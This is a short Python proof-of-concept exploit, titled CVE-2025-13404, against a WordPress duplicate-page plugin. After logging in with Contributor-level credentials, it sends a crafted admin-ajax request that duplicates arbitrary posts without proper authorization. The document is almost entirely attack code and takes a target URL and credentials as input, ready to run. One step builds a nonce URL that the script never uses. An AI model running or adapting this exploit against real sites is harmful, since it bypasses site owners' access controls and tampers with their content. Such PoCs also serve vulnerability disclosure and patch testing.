CVE-2025-13404

# CVE-2025-13404 PoC - atec Duplicate Page Plugin Unauthorized Post Duplication # Authenticated attackers with Contributor+ access can duplicate arbitrary posts import requests import sys target_url = input('Enter target URL: ') username = input('Enter username: ') password = input('Enter password: ') target_post_id = input('Enter target post ID to duplicate: ') session = requests.Session() # Step 1: Login to WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Get nonce for the duplication action nonce_url = f'{target_url}/wp-admin/admin-ajax.php?action=atec_wpdpp_duplicate_post&post_id={target_post_id}' # Step 3: Exploit the vulnerability - duplicate the post without proper authorization headers = { 'X-Requested-With': 'XMLHttpRequest', 'Referer': f'{target_url}/wp-admin/edit.php' } exploit_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'atec_wpdpp_duplicate_post', 'post_id': target_post_id } response = session.post(exploit_url, data=exploit_data, headers=headers) if response.status_code == 200: print('[+] Post duplicated successfully!') print(f'[+] Response: {response.text}') else: print('[-] Exploitation failed')

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